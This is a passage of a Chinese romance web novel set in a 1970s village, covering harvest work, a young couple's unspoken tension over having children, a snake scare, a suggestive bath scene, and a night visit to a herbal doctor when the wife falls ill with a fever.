他想要自掏腰包,原本大儿子和小儿子就因为支书的位置闹不愉快,这次小儿子家直接说不能出,凭什么好的都讓老大家占了。 吵了一中午,最后还闹到要分家,小儿子家还不想養他们,说東西都给了大儿子家,他们不養。 他和老伴辛辛苦苦養大的儿子,就因为一个支书,现在闹的不成样子,一开始小儿子也没有过不同意啊。 一家人不管谁当上了支书,互相惦记着帮着,日子怎么会过不下去。 “没啥事。”余阿娘撇了撇嘴,“听青云说,这是给我补身子的?” “一共有三十个鸡蛋啊?” 她问的直白,说着就要去拿鸡蛋篮子,柳支书挠了挠头,有些不好意思的说:“还差一些,家里攒出来了,我在拿过来吧。” 柳支书准備拿起那篮子鸡蛋,他本来就心虚,这下他拎着篮子只想离开。 生怕余家人知道他糊弄。 余阿娘一把拉住他手里的篮子,毫不客气地笑道:“哎呦,来都来了,正巧家里这些天鸡蛋也不夠吃,这都留着吧,少的你等这吃完前,送过来就行。” 每家每户养的鸡都是有数量的,最多一家只能养两三只,鸡蛋自然也是稀罕玩意,那都是谁家媳妇坐月子的时候才能吃的。 余家也就一直公鸡一只母鸡,身为队长也不敢多养,毕竟养的多了,谁知道会不会投机倒把卖了,这可抓的严。 两个小孩和余银一个星期都要吃上两三次鸡蛋羹,余家虽然对吃上不亏待,但毕竟多少東西都在那放着。 这也确实快没多少了,刚好他们又送来了鸡蛋,这下也夠吃了。 说着抱着篮子就朝屋里走,“支书你等下啊,我进去放屋里,篮子就给你。” 余阿娘很快速的就拿着篮子出来,“支书,你的篮子。” 柳支书结果篮子,叹了口气,将准 備好的錢塞进余阿娘懷里,“不够,你再讓青云跟我说。” 说完,直接走人了。 家里还一堆糟心事等着他,鸡蛋都不讓给,更何况那些錢了,越想他越觉得憋屈,怎么就非要找了王大花那个蠢的。 他但凡换一个人,不让余家懷疑到他头上,也不至于这么憋屈了。 现在倒好,什么也落不着,家里也闹翻天了。 等柳支书一走,余阿娘就罵罵咧咧地进屋,“装模作样的,还想糊弄老娘,那一看都不够三十个鸡蛋,真当我没上过学,连多个鸡蛋都不知道啊。” “钱给了嗎?”余银问她娘,“鸡蛋都不愿意给,是不是钱也没给啊?” 余阿娘轻嗤一声,“不给他还能安安靜静地走出去?也还算他有点良心了。” “也不知道这柳家那一家,咋心都不是个好的,她们家娶回来的媳妇也都是一个样,没一个好东西。” 说完,还又将自家人都夸了一遍。 “咋都喝的一样儿的水,吃的一样儿的飯,咱余家人都这么好啊。” 余家人听着余阿娘这话,都有些不好意思的笑了起来- 晚上,余阿娘给每人都煮了个鸡蛋,怎么说昨天闹腾了一天,都出力了,这鸡蛋可不帶都能吃。 不是白水煮蛋,也不是鸡蛋羹,特意用糖水煮的荷包蛋。 白嫩嫩的蛋白包裹那透着淡淡黄色的蛋黄,闻着香香甜甜的,还放了紅糖。 碗一上桌,余庆和虎丫眼睛就恨不得黏上。 那可是紅糖,又香又甜又补身子的红糖。 余阿舅拿着烟枪的手一抖,把碗往前一推,“姐,放的红糖还?我不喝,你们喝吧。” 不等余阿娘说话,虎丫就蹭的一下跑到余阿舅身边,眼睛亮亮地看着他:“爹,虎丫饿,想喝。” 与其说是看着余阿舅,不如说那眼睛粘在糖水蛋上,都没给过余阿舅一个眼神。 余阿娘拿着筷子在碗上敲了敲,“都吃都吃,这是好东西,家里还都靠着你来养活,你必须要吃。” 说完,把余阿舅的碗推回他的位置,又在王桂香的碗上敲了敲,“桂香也吃,不准给那两个小的,他们隔三岔五都能吃的,不缺这一顿吃。” 一人一碗,公平公正地。 余银吃了蛋,那碗糖水下肚,连菜也没吃,就已经饱了。 她刚放下碗,就被余阿娘端走又乘了碗糖水给她,“再喝点,多补补,吃点,早点添个娃娃给我们。” 余银看着那一大碗糖水,又听到余阿娘嘴里的话,脸是红了又红。 不知是不是天光的原因,遊雾州似乎看到了,在余阿娘提到孩子的时候,余银的眼睛亮了一下,却又很快滅了,虽然她掩饰的很好。 遊雾州心里猛然一紧。 余银咬了咬唇,小声道:“我真喝不下了娘。” 她倒不是因为孩子,主要是因为生孩子要做的事。 不过她也想过要孩子,只是上辈子一直没懷上,她娘见结婚一年都没动静,还特意花钱帶她找大夫看了。 结果是没一点问题,就是身体有点弱,但也不影响,让她们不要着急。 余阿娘还私下里问过她,是不是没做过那回事,还教她要怎么做。 想到那,她就觉得脸热。 看她一副害羞的模样,余阿娘笑道:“你都没吃啥东西,都是水,喝吧,这东西对你身体好着呢。” 余银捧着那碗糖水,她是真喝不下了,但她娘又非让她喝。 她偷偷撇了一眼遊雾州,他碗里蛋还没吃,糖水没剩多少了,趁没人注意,快速的把那蛋放到她碗里,往遊雾州那一推。 端着游雾州的碗,将那没剩多少的糖水一口喝完,亮给她娘看,“喝完了,我回屋去了啊。” 游雾州看着那一大碗糖水和鸡蛋,心里说不出什么感觉…… 洗漱好后的两个人躺在床上,游雾州将余银拉进怀里抱着她,她以为又要开始了,但等了一会儿,一点动静都没有。 除了那双在腰间作乱的手,把玩着他的爱不释手。 她迷迷糊糊都快睡着了,却听到男人突然开口,声音有些不真切。 “你想要孩子嗎?小鱼儿。” 余银被他拥在怀里,可能是困极了,说话有些黏黏糊糊:“都是要生孩子的,但是咱俩生不了的。” 她说的是上辈子的事实,也有点心里话,就这样毫无防备的说了出来。 游雾州的身子有些僵硬,“为什么咱俩生不了孩子。” “你不想要孩子啊。”余银打着哈欠说。 游雾州身体又不是不行,还每晚都折腾她,余银身体也没问题,怎么可能会怀不上。 她刚也琢磨出来了,是游雾州不想要孩子,所以才怀不上的。 她可以装傻当作不知道,他却非要问,那就掰扯清楚好了。 余银抿了抿嘴说:“我知道你不想要孩子,娘那边我也不会告诉她,不用担心,村里人结完婚都会经常被问的。” 他不要孩子其实还挺好的,这样真离婚了,带着孩子也不好再说亲了。 清白都给了他,要是再有了两人的孩子,那就牵扯的太多了。 反正差不多还有一年多了,他们也就一拍两散了。 游雾州默了默,问她:“你想要孩子吗?” “不想。”余银直接就回答了。 像是脑子里想过这个问题的答案,才不用思考就能回答出来。 游雾州说不出自己是什么心情。 他知道自己是也不想要孩子的,现在的情况也不能让他去和余银有一个孩子。 游雾州不能对余银和孩子不负责任,孩子这个问题对于他来说,有些沉重。 还有很多事情也没解决,也在等着他去做。 能和余银结婚就已经很好了…… 可想到余银那回答,她是不想要孩子,还是因为他不想要。 明明飯桌上提到孩子,余银的眼睛亮了一下,却又很快就滅了。她也是想要孩子的吧,可却察觉到他不想要,什么也不问。 游雾州想到她亮了又灭的眼神,那一大碗的糖水也盖不住此时心的涩意。 就好像心脏骤然被一双无形的手收紧,用力攥着,血与肉都被绞着缠一起,有点疼。 胸腔内还有着说不出的酸胀感。 睡着的余银在他怀里找了个舒服的姿势,将腿往他身上一架。 温软的触碰,让他紧绷的身体一下松泛下来。 游雾州低头在她头顶亲了一下,好像有什么正在他心里破壳发芽了。 第25章 第25章要被蛇给吓死了 也不知道是不是那晚提到孩子的事,这几天游雾州都没有再和她做过那种事,两个人之间气氛也有些微妙。 余银也没空关心,因为开始抢收了,毕竟这可是头等大事。 连村里但凡能下地的小孩子,也跟着下地在地里面撿麦穗。 知道余银不是能幹的,这邊地里也都是余家这几个人,特意给余银分的少了些,他们分的多一些。 反正左右都是下地割麦子,又没有偷懶,也没人说什么。 余银比她们少,速度也要慢很多,撿麦穗的虎丫就跟在她旁邊。 “姐,你累不累啊?”虎丫一手捡着地上的麦穗,舔了舔她幹涩的嘴唇。 “你累了?”余银头也没抬,“累了过去歇会儿吧,水就在那放着,去喝吧。” 虎丫拎着小框往地头放水的地方去。 廉刀起落,割下来的麦子还不能直接放在地上,地里面会铺上几个大布单子,把割下来的小麦放那上面,免得有些成熟的麦粒撒落在地里。 到时候不仅要把,还浪费糧食。 余银把她割好的麦穗,一捆一捆地放在那布单子上,上面放的 已经差不多了,也该放在推車上拉到村里去。 她取下草帽,站在垒的高高的麦子旁,扇了两下风,这天简直炕人,日头大的不行。 余银都站在麦子挡着日头的地方,那热浪还是随着草帽扇动,往她身上去。 她抬起胳膊,用袖子蹭了蹭臉上的汗,转身也往虎丫去喝水的地方。 见她过来,虎丫两个手捧着装水的玻璃瓶,凑到余银跟前,“姐,喝水。” 余银坐在地上,就着她的手喝了几口,放了点糖的水甜甜的,顺着喉管滑下,喉咙的幹燥也有些缓解。 喝完水,余银拧上蓋子,拍了拍虎丫的头,嘱咐她:“你累了就在这歇着啊,别乱跑听到没。” 虎丫点头,“我知道,不乱跑,就在这。” 余银从地上坐起来,拉麦子的人也都推着車过来了。 拿着叉子,往推车上面装,再用绳子固定好,地上掉的那些麦粒,小麦穗,他们也没管,前面还有一摞摞的等着他们过去。 往前走的时候,看见虎丫在那坐着,指了指刚装过的地方,“虎丫,去,地上掉了好多,快去捡起来吧。” 虎丫原本蓋着草帽,躺在地上,听到那人这样说,一骨碌坐起来,叹了口气,拎着她的小筐子过去了。 抢收的时候,早上可以晚点起,毕竟太早了麦穗上还挂着露水,到时候弄的麦穗太潮了不好。 中午他们基本上都会晚点下工,回家吃个饭就又去地里了,毕竟抢收的时候,很容易下雨,还不给你一点征兆,说下就下。 一下雨就完蛋了,没收完的那些要是遭了雨,那就会泡发芽,烂在地里了。 这时候都是跟老天爷抢时间收麦子,谁还管下午是不是最热的,没收成就没糧食吃,没粮食吃人就要挨饿。 每年有的村子也不是没有过饿死人的事。 所以干起活来,都很卖力,这些地里的粮食关乎着他们自己的口粮,没人愿意偷懶。 这些天基本上连个喘气的时间都没有,老天爷也像是跟他们闹着玩一样,一会云将太陽全部盖着,让天看着有些阴沉沉的。 一会又烈陽高照,简直炕的人不行。 要下不下的天,村民们根本不敢赌,也赌不起,这不,晚上吃完饭,就又招呼着去收麦子了。 余银有些不想去,晚上地里有蛇,她最害怕那玩意了,要是让她正割着小麦,一捞,捞到蛇,她能当场嚇得晕倒。 可怎么说啊,这会儿天还没黑透,还能再割会儿,可等天透了,怎么办啊,虽然她听说那些蛇都没毒。 但晚上一干都到快半夜了…… 余银绞着手指头就这样走到地里去了。 都已经到了,再回去也有些不好看,她往余阿娘跟凑了凑,“娘,我在你旁边割吧,不然地里有蛇我有点害怕。” “不用怕。”余阿娘说:“地里人多,那些蛇不敢出来嚇唬人,你不去招它就行了。” 余银有些不信,“真的假的?” 余阿娘想到这几天,俩人似乎看着闹别扭了,她这也不好去插手,扭头抬了抬下巴,“诺,你看那是谁?” 余银顺着她娘说的看过去,就见游雾州站在地边,她左右看了看,好奇道:“除了游雾州还有谁啊?” 余阿娘嘴角一抽,举起手想拍她一下,骂她笨,但看到游雾州似乎视线扫了过来,她也就放下了手。 “说的就是你男人,那蛇阴森森的,就怕阳气重的。”余阿娘笑的意味深长:“你看小游多阳刚,陽气多重啊,你跟着他,哪还敢有蛇往你跟去,再说了,这么多人在地里,蛇也害怕不敢出来。” 余银眼里多了几分惊讶。 村里那婶子们确实经常说过游雾州阳刚,但他阳气重,真能让那些蛇害怕? 余阿娘扯了扯嘴角,“娘还能骗你不成?” 说着,就朝着游雾州招手,“小游,过来,来。” 等游雾州一过来,就把余银往他身上推,“小鱼儿等会跟着你旁边割,娘跟你舅母割得快,分不出心看着她。” 余阿娘说完就上地里弯下腰,开始割麦子了。 余银偷偷看了眼游雾州的臉色,怕他不愿意带自己,然后从怀里掏了颗糖,弯着眉眼,把糖捧着递在面前。 “吃个糖。” 俗话说得好,伸手不打笑脸人,她还拿着糖,还是大白兔奶糖,上次见他吃就觉得他挺喜欢的,幸好她今装了两颗糖,还没吃,这游雾州应该不会不给面子。 游雾州微微一愣,有些没反应过来,见她笑眯眯地看着自己,还变戏法儿一样掏出糖要给他吃。 这几天他心里有点乱,不知道要怎么开口跟她说,也确实有些冷落她了。 余银却毫不在意,还对他笑,给他大白兔奶糖,心里頓时软乎乎地。 见他有些愣,余银剥开糖纸,捏着糖往他嘴里塞。 游雾州刚好想要张口水话,冷不防就被她往嘴巴里塞进颗糖。 余银见他吃了糖,眉眼弯得更深了,太好了。 吃了她剥的糖,就更不能拒绝了。 余银拉着他胳膊,晃了晃说:“你放心,我肯定努力跟上你,不会偷懒的。” 游雾州听了心里又有些酸酸的,他摸了摸余银的头,“你别累着自己了就行。” 余银见他答应,拉着他往地里走,“咱俩能挨着就行。” 傍晚的天没黑透,橙紅的一大片一大片的云彩,麦田金灿灿地挂着云彩的一点橙紅色,像是油画似的,好看极了。 从游雾州的角度只能看到余银的半张侧脸,白皙的皮肤,也沾染上了淡淡的橙红,红润的唇瓣微张。 他目光盯着那红唇,喉结滚动了两下,眸光越来越深。 余银速度确实慢,游雾州也没刻意等她,总之他都割完一趟,又从地那头开始,还能再碰上她。 游雾州会和她换一下方向,或者直接从她割的那趟另一头过去,帮她那那趟割完,两人在重新一起。 不知不觉地,天也越来越黑了。 可能是听了余阿娘的话,人又多,她身边还有个阳气重的游雾州,余银的心也放松警惕了。 也没在意还有蛇这回事了。 余银割着小麦听到了悉悉索索的声音,以为是她揽着小麦,麦穗碰撞的声音,就没太在意。 她割完手里的,伸手再去抓小麦的时候,除了有干干的麦秸秆的手感外,似乎还碰到了一个软软滑滑的东西。 还有点冰冰凉凉的。 余银有些僵住,她抬起头,頓时。 即使是天已经黑透了看不到小麦了,但在那黑暗里,依旧能看到一双阴亮阴亮小眼睛。 似乎还是泛着绿光。 那蛇还一点都不怕人的,发出吐信子的声音。 滋滋地。 余银头皮发麻,汗液迅速的在她身上分泌出来。 她两眼一闭差点晕了过去,脚也好像被钉在那了一样挪不动。 明明余阿娘不是说人多蛇会害怕嗎?游雾州阳气旺盛,蛇不敢来嗎? 害怕到极致,除了身子僵硬动不了,余银也发不出声音来,一动不动的定在那。 那条蛇也一动不动的盯着她,那双泛着绿光的眼睛,滋滋地吐着蛇信子,麦穗碰撞发出的声响。 这些声音仿佛是余银的催命符。 只要她动一下,那蛇好像就要过来把她吃了一样。 余银不知道有没有人是被嚇死的,她真的快要死了,精神上的折麽让她大脑的弦紧绷着。 突然,那蛇好像摆动着身体,麦穗发出悉悉索索的声音,泛着绿光的小眼睛,和滋滋的吐信声朝着她过来了。 与此同时。 游雾州好像没听到她的动静,站起来也没看到余银割的麦子在晃动,寂静的有些不对劲。 他心下一紧。 往余银那走过去,因为他和余银是挨着的,虽然差了距离,这会也就几步。 他过去的时候,正好看到了余银往下倒的身子。 游雾州赶紧接住她,同时也看到了那双绿色的眼睛,他手里还拿着镰刀,手起刀落。 “咔擦”一下,镰刀朝蛇扑过来的蛇砍去,顿时,那蛇就死了过 去。 湿热的血溅在游雾州的胳膊上。 余银差点以为就要命丧于此了,蹭的一下跳到游雾州身上,抱着他的脖子,腿夹在她的腰间。 “嗚嗚呜,嚇死我了。” “不是蛇害怕人多吗,吓死了,啊啊啊啊啊。” “我差点就死了,我还这么年輕,还没给我娘和阿舅尽孝啊,还没看到我哥结婚,还有余庆和虎丫还没长大,吓死了,我不想死啊。” 余银呜哩哇啦说了一大堆,但似乎这里面都没有包括游雾州。 游雾州见她吓坏了,也没注意到,抱着她,輕轻拍着她后背,“没事了,没事了,砍死了已经。” “没有蛇了,别怕,我在这呢。” 余银听到蛇这个字就打了个怵,“不行啊,我怕得很,游雾州,真的好吓人了啊。” 她没亲眼见过蛇,只听别人形容过,就害怕这玩意儿的很,家里人知道她怕蛇,也没往家里带过蛇。 毕竟蛇肉还挺补的,村里不少人家饿极了,馋肉了,都会去后山树林里找蛇吃。 余银魂都要吓没了,整个人挂在游雾州身上,还打着哆嗦。 “那玩意也太吓人了,它就那样一直盯着我,然后会飞一样,朝,朝我扑了过来,我真的没死吗?” 游雾州抱着她,轻轻拍着她的脊背,安抚着她的情绪,“没事了,被我砍死了已经,死的透透的。” “没事了,小鱼儿。” “我在这那,别怕啊。” “不怕,不怕。” 游雾州见她这模样,又心疼又懊悔,自己怎么就没第一时间发现啊,把余银吓成这样了。 他不知道余银怕蛇,要是知道她怕蛇。 说什么也不敢让她晚上来地里,他宁愿自己一夜不睡,把余银的那份活给做了。 第26章 第26章游雾州抱着余银洗澡 余银在游雾州的安抚下情绪平静了许多,她吞了吞口水,还是有点不信,“真死了?死的透透吗?” 游雾州手一直在她脊背上安抚着,“真死了,應该是死的透透了,刀把它脖子砍断了。” 听到蛇死透了,余银闭眼:“死透了就行,死透了就行。” 地里也有其他人,婶子们听到余银呜哩哇啦地不知道说些什么,把手里的麦子放到地头上,才过来问了句:“余丫头,咋了啊?” 余银头埋在游雾州肩膀,亲昵地蹭了蹭,闷闷地说,“你说,我不想说话。” 游雾州嗯了声,回着那个婶子的话,“没事,地里有长蟲,余银被嚇到了。” 他说的杨柳村土话,余银听到长蟲这个词还好一点,反應没太大,蟲子她并不太怕。 长虫这个词她听着比蛇顺耳朵些。 “哦,长虫啊。”那婶子也没在意,“现在晚上长虫是多些,但都是没毒的。” “那蛇被砸晕没?你们要不要?”那婶子朝着她们走过来,要是游雾州不要,她就可以带回家吃。 天太黑,月亮又被盖在云下,游雾州背对着她,也看不真切余银还在他身上掛着。 游雾州:“镰刀砍死了,婶子你拿走吧,就在地上,我们先回去了。” 说完,他就抱着余银往地头走,手掌托在余银臀下往上颠了颠。 软弹的触感讓他身子不自觉地绷緊。 余银被他颠了下,男人胳膊垫在她臀下,隔着单薄的衣物,她能清晰地感受到他筋骨肌肉的轮廓。 有些不大好意思,但也不想下去。 要是她在地上走着,在从哪里窜出来一条,那就真要了她的命。 余银摟着他脖子的手臂緊了緊,低哼道:“我不想下去。” 他知道她刚被嚇到,村里地上说不定还有,她胆子这样小,他放心不下,本也没打算讓她下来。 游雾州嗯了一声,“我抱着你回去。” 一路上,黑黢黢的道路,仔细观察才能走的稳当,更何況还抱着余银,他更为仔细小心。 和往常一样的路程,他足足花了两倍的时间。 路上还碰到了推着车拉小麦的人,她们拎着煤油灯,有些光亮,看到他们这样一臉惊奇的打量。 游雾州和余银一无所知。 只是被一溜趟的人打量着,也会有些察觉的,其中有一个是知青点的人,看见这样有些目瞪口呆的叫住他。 “游哥。” 游雾州停下腳步,扭头看向叫住的人,是知青点的高智慧,俩人关系一般,其实是他和知青点的人关系都一般。 “有事?”他语气淡淡,臉上也没有那掛着的一点笑容。 高智慧摸了摸头,一手拎着煤油灯凑近他,看了一眼他身上挂着的人,委婉的开口:“你们这是……?嫂子怎么了?” 游雾州没他大,但可能是人比较稳重,他跟着几个小的都叫他游哥,现在也该称呼余银一声嫂子。 但他们毕竟这个姿势,大晚上的,还是有些有伤风化。 高智慧记得游雾州对男女之事也不熱衷,有时候男生宿舍熄灯了,他们讨论过,每次游雾州都一言不发的,平时其他话题他还会说上几句的。 怎么结了婚就像变了个人,还……? 游雾州:“你嫂子在地里被长虫嚇到了,崴着腳了。” “从小在村里长大还怕蛇啊?”高智慧咕哝了一句。 听到蛇的余银身子下意识僵了一下,刚才给她留的印象太深刻了,她现在对这个字下意识地都害怕了。 游雾州拍了拍她的肩膀,掀起眼皮看他一眼,冷声道:“还有事吗?没事我们回去了。” 说完,抱着余银往前走,路上还不听的安抚着余银:“就到家了。” 余银对那群知青没什么好感,也知道他们不喜欢自己。 谁规定从小在村里长大就不能害怕蛇了。 她又不乱跑,也从来没见过那玩意,再说那玩意还那么可怕,她为什么不能害怕啊。 余银趴在他肩膀上冷哼一声,后知后觉地表达自己刚才对高智慧说的话不满。 游雾州见她有心情想其他的,没在一直被长虫影响着,勾了勾唇角说:“人都会有害怕的東西,他没说对话。” “他还害怕老水牛呢,有一次他正睡着觉,身上飞来个老水牛,把他吓的脸唰白唰白的,床都不敢睡了,跟别人挤了好几天。” 游雾州将高智慧的糗事抖落出来。 余银听了后,冷笑一声。 就这还嘲笑她呢! 老水牛有什么可怕的,长得又不吓人,还小小的也不大,也不会黏黏滑滑地,更不会眼睛冒绿光吐信子。 也不知道他哪里来的自信还说自己。 走了一会,也快到村子里了。 村里子能干活的都下地抢收了,小孩子这个时候也都睡了,往村子里走进去,静悄悄的,只能听到游雾州脚上踩着土走路的声音。 她趴在游雾州肩上,也不知是因为快到到余家门口,还是因为什么原因。 余银心里越来越踏实,安心了不少。 有种只要有游雾州,好像什么事也不用担心害怕。 余银知道,只要不触地游雾州的内心的线,和他保持好表面的和谐,他就是一个很好很好的人。 游雾州抱着她回到他们房间,半蹲下身子,松开手臂撑在床边,让余银坐在床上。 余银顺势坐在床上,手脚摟着他的不肯放开,夹着他腰间的腿往里收了收,“你要去哪?” 她不想放手,说不清为什么,可就是不想放开。 她现在很迫切地不想一个人。 游雾州一愣,手臂还撑在床上,她的腿緊紧夹着自己腰间,这个姿势有些让他顿时呼吸一紧。 他瞬间就感觉到了自己的不对劲。 余银也立马察觉到有東西 正抵着。 游雾州有些想要往后挪,怕她察觉到了,她都吓到了,自己现在还对她有反應,这太无耻了。 余银也有些害羞,见他要往腿,也不管不那么多了,手脚并用地将他往自己懷里捞。 那东西存在感很强。 余银抿了抿唇,双手攀着的肩膀,拉着他凑近自己,“你陪着我好不好。” 游雾州脸埋在她的肩膀上,与她交颈厮磨,“好。” 他就这样保持着这个姿势,等着反应慢慢降下去,才抱着余银去灶房烧水洗澡- 游雾州身上挂着个大挂件,余银不说下去,他也不放开,即使两人紧挨着,出了很多汗身上熱的黏黏糊糊。 洗澡水很快烧好了,游雾州打了水抱着余银回屋,因为抱着她,怕水烫到她,一次只打一点。 一点一点的端水进了屋。 游雾州抱着她做什么事也不算多不方便,但是现在要洗澡,两个人一起洗吗? 他不敢想,稍微有这个想法就赶紧从脑子驱除。 可身体上的反应比脑子反应更快。 他又有了。 游雾州拿着毛巾,看着洗澡水,突然犯了难。 余银看他也不动,“不洗澡吗?可是今天干活很脏啊。” 她以为游雾州不想洗,忍不住小声说:“可是咱俩刚才回来好熱,出了很多汗,身上黏糊糊的,洗完澡睡觉很舒服。” 游雾州默了默,“你先洗。” 话音落下,就要松开余银。 余银一见他松开,紧紧地搂着他脖子,差点掉下去的她,语气有些不好:“你干嘛啊?我差点掉下去了啊。” 她搂着他用力大力,惯性的往前,唇瓣蹭着他的耳朵。 偏偏余银还没察觉的,说话时热气只往他耳朵里灌,顺着往身体里面挤,所过之处一片酥酥麻麻。 难受至极。 游雾州嗓音暗沉低哑:“你不是要洗澡吗?” 余银点头,理所当然的说:“你给我洗啊,咱俩一起还省时间和水啊。” 她这会不觉得不好意思了,毕竟每次醒来后,身上都被清理过。 而且她今晚是一下都不想下地了。 比起被游雾州看光光给她洗澡的不好意思,她更宁愿脚不沾地。 游雾州身子一顿,眼神暗了下去,声音有些沙哑:“你确定要这样洗?” 余银皱眉:“不能洗吗?” “没事,那就这样洗。” “那你抱紧了别摔着我,咱俩谁先脫啊?” “……” 余银见他没说话,夹着他的腿在身后交叠,以免自己掉下去,然后动作利落的吧自己上衣给脫了。 脫完自己的,手伸到游雾州腰上,捏着他的衣角往上提,把的上衣也给脫了。 还顺带在他紧绷着的腰腹上,摸了两把。 主要是肌肉轮廓太好看了,一时没忍住。 游雾州意为深长的看了她一眼,在心里无奈地叹了口气。 赤口的上身紧贴着,皮肤触感极为明显,一硬一软的。 余银也不知道他的怎么长得,全身上除了他的嘴唇是软的,每一处都硬邦邦的。 尤其是那根大棍子。 她脱完游雾州的上衣,拍了拍他的肩膀,“咋不脱了?还有裤子没脱嘞。” 游雾州倒吸了一口气,闭着眼把余银发裤子给脱了。 他实在不想脱自己的,可是照余银这磨人样,待会肯定还不从他身上下去,裤子湿了上不了床。 咬着牙,把裤子解开脱下。 彻底没有防备的贴在一起,那热的发烫的大棍子,就在余银臀下。 她脸色涨紅,一时间进退两难。 游雾州也被余银这折麽的够呛了,肉都放进嘴里了,但不能嚼吃了,在嘴里放着还要拿出来。 真是有够考验人的。 他认命的拿着毛巾湿了水,擦着余银的脖子,顺着往下一点一点滑过,那熟悉的手感,简直要命。 尤其是余银觉得身下不舒服,还在那乱动。 游雾州克制不住的跳动了两下,余银身子顿时僵住。 “别动。”他嗓音哑到不行,听着几乎是从喉见挤出来的。 余银乖乖的“哦”了一声,趴在游雾州的身上的,感受着他跳的很快的心跳,还有不断散发的热气。 以往都是她睡着后,或者快要睡着了迷迷糊糊地情況下,游雾州帮她洗澡的。 这次是完全清醒的状况下,除了身下那根棍子让她有一点点不舒服以外。 其他感觉都很好,不用自己动手,有人帮自己做的感觉太好了。 要是以后都能这样,余银想着这样的没事。 她也不知道游雾州会不会答应。 但游雾州此刻只知道,要是再多来几次这样的事,他可能年纪轻轻,就要因为太过克制而憋坏了。 他现在已经忍的发疼了。 游雾州一个血气方刚的的小伙子,正是刚开荤恨不得吃抹干净后还要在吃两边的,佳人在懷这样情况在怀,他却要干瞪着眼。 这种超乎常人的忍耐力,真的太考验人了。 这个澡洗完下来,他是一遍出着汗一遍擦的。 洗完水也没倒,就在房间里放着。 游雾州抱着余银上床,老老实实地睡着觉,半分逾越也没做。 主要是今晚余银吓得有些狠了,他也心疼,也就不敢碰她。 可能是今天也累倒了,游雾州和余银都睡的挺沉。 到半夜,游雾州像是被人扔在太阳下烤着一样,他往哪躲都躲不开。 那太阳像盯准他了一样,死死缠着他。 他被热的迷迷糊糊睁开眼,余银像个八爪鱼一样粘在他身上,无意识地蹭来蹭去。 游雾州觉得她身上是不是有点过于热了,低头在她额头蹭蹭。 刚抵上去,就觉得温度有点太烫了。 吓得他懵然惊醒,摸了摸她额头和后颈,滚烫一片,身上也热乎乎的,一点汗都没有。 他水温相比余银现在有些偏凉,摸她额头的时候,被余银抓着放在脸上贴着,无意识地发出舒服的轻哼声。 他麻利地点起煤油灯,昏黄的灯光下,余银面色潮紅,连闭着的眼皮都泛着粉红,嘴唇红的妖艳,却干裂的半张着,看起来很不舒服。 游雾州顿时心疼坏了。 第27章 第27章余银烧到没意识了 发烧不是小事,余银体温烫的着实有些嚇人了。 游雾州喊了余银两声,都没有什么反應,一种莫名未知的恐慌涌上心间,从箱子里拿出两个人的衣服,快速的穿好。 抱着余银敲响了余阿娘的门:“娘,娘,余银发烧了,村子附近哪里有赤脚大夫?” 余阿娘睡的正香,冷不防被人从夢中叫起来,捞起囫囵套上,打着哈欠往房间门口走:“啥事啊?” 游雾州又重复了一遍:“余银烧的有点厉害,村子附近有没有赤脚大夫,卫生室太远了。” 村里人一个头疼脑熱的,一般能抗了抗着,扛不住了都是去找赤脚大夫,来抓几副藥吃,实在不行了才会咬牙去镇上的卫生室。 余阿娘一听余银烧了,拎着煤油燈拉开门出去,手往余银头上一搁,“这咋真烫手啊,待赶緊去看大夫。” 她那点瞌睡顿时清醒了,余银整个人看着已经烧迷糊了。 这再烧下去,不成傻子了。 发烧这个事可大可小,尤其是他们偏辟的农村人,有的孩子烧起来你不在意的,不管他救烧成了傻子,村子里刘寡妇她男人就是这样的。 小时候家里穷,没想着看大夫,就烧成了傻子不说,这才多大人都没了。 余阿娘还没见过余银烧成这个样子,说话也有些语无伦次,“去,去医院,不对,村子西头有大夫,我去找她。” 游雾州抿了抿唇,“娘,你拎着煤油燈带路,我抱着余银一起去,还是讓大夫见着人开藥好一点。” “对,还是要见着人,才好开藥。”余阿娘重复了一遍,道:“我跟你们一起去,一起去。” 说完游雾州讓她拎着煤油灯,在前面走着,说是走,那脚步极快的走着,跟跑起来也没差别。 深更半夜的,路上靜的连青蛙都不叫了。 他们脚步快,路也不远,没多大一会儿 就到了大夫门口。 大夫姓何,是个中医,会把脉看个头疼脑熱的小病,身上有什么不舒服的也能给看。 余阿娘到了之后就开始敲门,“何大夫,何大夫,何大夫。” 她一边喊一边敲,村子里的狗也被这动靜吵到,汪汪汪地叫个不停。 余阿娘知道今天都在抢收,肯定累得睡的沉,又接着喊了一会儿,里面才传来点动静。 “出啥事了啊?”何大夫匆匆忙忙地过来开门。 何大夫和余阿娘差不多大,身上带着股常年和藥材打交道的淡淡药草草味儿。 何大夫引着他们走进去,院子里放着许多晾药材的架子,还有的药就在院里铺着。 幸好余阿娘拎着煤油灯,何大夫也叮囑他们小心别踩到碰到药材了。 进屋后,余阿娘緊张的不行,游雾州看着倒还算冷静,何大夫看着游雾州怀里的余银,借着昏暗灯光见着她面色潮红,便道:“发烧了?” 游雾州点头,“晚上下工的时候还好好的,夜里突然烧成这样,叫也叫不應。” 何大夫微微蹙眉,隔着桌子说,“把她手腕放桌子上。” 游雾州闻言把余银的手腕隔在桌子上,何大夫抬起手摸了把余银的脉,越摸眉头皱的越緊。 游雾州心里看的咯噔咯噔的,何大夫擰着眉道:“另一只手。” 他调整了一下姿势,把余银的另一只手也递了过去。 何大夫把着脉问:“这几天都没有她有没有出过什么事?情绪太过激动?” 游雾州想了想,和柳家的事也就是几天的钱的,余银没太闹情绪,两人闹别扭也是默默的。 要说情绪太过激动…… 他突然想到,“她有点怕蛇,今晚上在地里正割着小麦,有蛇嚇到她过。” 何大夫若有所思的点头,把她嘴掰开问我看看来。 游雾州捏着她下颌,讓余银的嘴巴半张开,何大夫拎着煤油灯凑近看看了。 “她身体没什么问题,可能是被蛇嚇到了,有的人精神状态比别人要薄弱一些,害怕的东西被嚇到,发烧也是正常的。” “真没事?”游雾州虽然看着淡定,表情凝重的问他:“可是她烧的有点太烫了,意识也没有,喊她也没反应。” 何大夫道:“被晚上吓到她的东西魇到了,不打紧,我开点药回去给她煎了喝,你们会去也用艾草叶烧点水给她擦擦。” 艾草在村子里到处可见,平时还会用它来烧着祛蚊子,房子刚盖好的时候就熏过一遍,防止蚊虫。 余银嫌弃味太呛鼻子了,本来没买蚊帐那几天准备用熏艾草祛蚊子的,家里的艾草还多的是。 余阿娘松了口气,“没事就好,没事就好。” 何大夫进去抓药,像是想到了什么,又转过来问他们:“你们刚结婚还是有两年了,准备要孩子吗?我抓药看着点量。” 游雾州一愣,“她身体要紧,孩子的事可以先不着急。” 余阿娘也跟着道:“对对,要孩子不着急,她身体要紧。” 